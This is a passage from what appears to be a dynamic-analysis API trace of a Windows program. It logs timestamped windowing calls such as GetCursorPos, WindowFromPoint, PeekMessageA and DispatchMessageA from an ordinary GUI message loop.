GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0274.748] WindowFromPoint (Point=0x37b) returned 0x1035a [0274.748] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f5037b) returned 0x1 [0274.748] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0274.748] GetCurrentProcessId () returned 0x8d0 [0274.748] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0274.749] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0274.749] GetCapture () returned 0x0 [0274.749] WaitMessage () returned 1 [0274.763] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.763] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.764] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.764] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0274.765] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0274.765] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0274.765] WindowFromPoint (Point=0x37a) returned 0x1035a [0274.765] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f5037a) returned 0x1 [0274.765] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0274.765] GetCurrentProcessId () returned 0x8d0 [0274.765] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0274.765] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0274.765] GetCapture () returned 0x0 [0274.765] WaitMessage () returned 1 [0274.825] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.825] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.825] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.826] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0274.826] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0274.826] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0274.826] WindowFromPoint (Point=0x37d) returned 0x1035a [0274.826] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0274.826] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0274.826] GetCurrentProcessId () returned 0x8d0 [0274.826] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0274.826] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0274.826] GetCapture () returned 0x0 [0274.826] WaitMessage () returned 1 [0274.899] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.900] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.900] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.900] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0274.900] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0274.900] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0274.900] WindowFromPoint (Point=0x37e) returned 0x1035a [0274.900] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f5037e) returned 0x1 [0274.901] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0274.901] GetCurrentProcessId () returned 0x8d0 [0274.901] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0274.901] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0274.901] GetCapture () returned 0x0 [0274.901] WaitMessage () returned 1 [0274.962] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.962] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.962] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.963] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0274.963] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0274.963] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0274.963] WindowFromPoint (Point=0x37d) returned 0x1035a [0274.963] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0274.963] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0274.963] GetCurrentProcessId () returned 0x8d0 [0274.964] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0274.964] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0274.964] GetCapture () returned 0x0 [0274.964] WaitMessage () returned 1 [0274.995] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0274.995] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0274.995] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0274.995] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0274.995] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0274.996] WindowFromPoint (Point=0x37b) returned 0x1035a [0274.996] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f0037b) returned 0x1 [0274.996] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0274.996] GetCurrentProcessId () returned 0x8d0 [0274.996] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0274.996] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0274.996] GetCapture () returned 0x0 [0274.996] WaitMessage () returned 1 [0275.026] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.027] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.027] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.027] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.027] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.027] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.027] WindowFromPoint (Point=0x365) returned 0x1035a [0275.027] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1e40365) returned 0x1 [0275.027] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.027] GetCurrentProcessId () returned 0x8d0 [0275.028] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.028] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.028] GetCapture () returned 0x0 [0275.028] WaitMessage () returned 1 [0275.093] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.093] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.093] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.094] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.094] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.094] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.094] WindowFromPoint (Point=0x37d) returned 0x1035a [0275.094] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0275.094] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.094] GetCurrentProcessId () returned 0x8d0 [0275.094] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.094] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.094] GetCapture () returned 0x0 [0275.094] WaitMessage () returned 1 [0275.110] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.110] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.110] DispatchMessageA (lpMsg=0x18ff1c) returned 0x5a6c00 [0275.111] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.111] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.111] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.111] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.111] IsIconic (hWnd=0xc0060) returned 0 [0275.111] IsIconic (hWnd=0xc0060) returned 0 [0275.111] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0275.111] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0275.111] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0275.111] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0275.111] GetSysColor (nIndex=8) returned 0x0 [0275.111] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0275.111] GetSysColor (nIndex=15) returned 0xf0f0f0 [0275.111] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0275.111] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0275.111] GetCurrentProcessId () returned 0x8d0 [0275.112] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0275.112] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0275.112] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0275.112] GetCurrentProcessId () returned 0x8d0 [0275.112] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0275.112] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0275.112] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0275.112] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0275.112] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0275.113] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.113] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.113] WindowFromPoint (Point=0x37a) returned 0x1035a [0275.113] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037a) returned 0x1 [0275.113] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.113] GetCurrentProcessId () returned 0x8d0 [0275.113] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.113] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.113] GetCapture () returned 0x0 [0275.113] WaitMessage () returned 1 [0275.174] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.174] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.175] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.175] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.175] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.175] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.175] WindowFromPoint (Point=0x37d) returned 0x1035a [0275.175] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0275.175] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.175] GetCurrentProcessId () returned 0x8d0 [0275.175] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.175] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.175] GetCapture () returned 0x0 [0275.176] WaitMessage () returned 1 [0275.260] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.261] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.261] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.261] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.261] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.261] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.261] WindowFromPoint (Point=0x37a) returned 0x1035a [0275.261] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f1037a) returned 0x1 [0275.261] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.261] GetCurrentProcessId () returned 0x8d0 [0275.262] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.262] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.262] GetCapture () returned 0x0 [0275.262] WaitMessage () returned 1 [0275.323] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.323] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.323] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.324] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.324] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.324] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.324] WindowFromPoint (Point=0x36d) returned 0x1035a [0275.324] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb036d) returned 0x1 [0275.324] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.324] GetCurrentProcessId () returned 0x8d0 [0275.324] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.324] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.324] GetCapture () returned 0x0 [0275.325] WaitMessage () returned 1 [0275.388] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.388] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.389] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.389] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.389] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.389] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.389] WindowFromPoint (Point=0x37d) returned 0x1035a [0275.389] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0275.390] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.390] GetCurrentProcessId () returned 0x8d0 [0275.390] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.390] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.390] GetCapture () returned 0x0 [0275.390] WaitMessage () returned 1 [0275.452] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.452] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.452] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.452] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.453] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.453] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.453] WindowFromPoint (Point=0x380) returned 0x1035a [0275.453] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f60380) returned 0x1 [0275.453] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.453] GetCurrentProcessId () returned 0x8d0 [0275.453] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.453] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.453] GetCapture () returned 0x0 [0275.453] WaitMessage () returned 1 [0275.515] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.515] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.515] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.516] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.516] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.516] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.516] WindowFromPoint (Point=0x37d) returned 0x1035a [0275.516] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0275.516] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.516] GetCurrentProcessId () returned 0x8d0 [0275.516] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.516] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.516] GetCapture () returned 0x0 [0275.516] WaitMessage () returned 1 [0275.576] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.576] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.577] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.577] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.577] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.577] WindowFromPoint (Point=0x37a) returned 0x1035a [0275.577] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f4037a) returned 0x1 [0275.577] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.577] GetCurrentProcessId () returned 0x8d0 [0275.577] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.577] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.577] GetCapture () returned 0x0 [0275.577] WaitMessage () returned 1 [0275.579] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.579] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.579] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.579] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.580] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.580] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.580] WindowFromPoint (Point=0x37f) returned 0x1035a [0275.580] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1ed037f) returned 0x1 [0275.580] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.580] GetCurrentProcessId () returned 0x8d0 [0275.580] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.580] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.580] GetCapture () returned 0x0 [0275.580] WaitMessage () returned 1 [0275.642] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.642] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.642] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.643] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.643] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.643] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.643] WindowFromPoint (Point=0x37d) returned 0x1035a [0275.643] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f3037d) returned 0x1 [0275.643] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0275.643] GetCurrentProcessId () returned 0x8d0 [0275.643] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0275.643] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0275.643] GetCapture () returned 0x0 [0275.643] WaitMessage () returned 1 [0275.707] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0275.707] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0275.707] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0275.708] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0275.708] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0275.708] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=893, y=499)) returned 1 [0275.708] WindowFromPoint (Point=0x37c) returned 0x1035a [0275.708] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f2037c) returned 0x1 [0275.708] GetWindowThreadProcessId (in: hWnd=0x1035a, 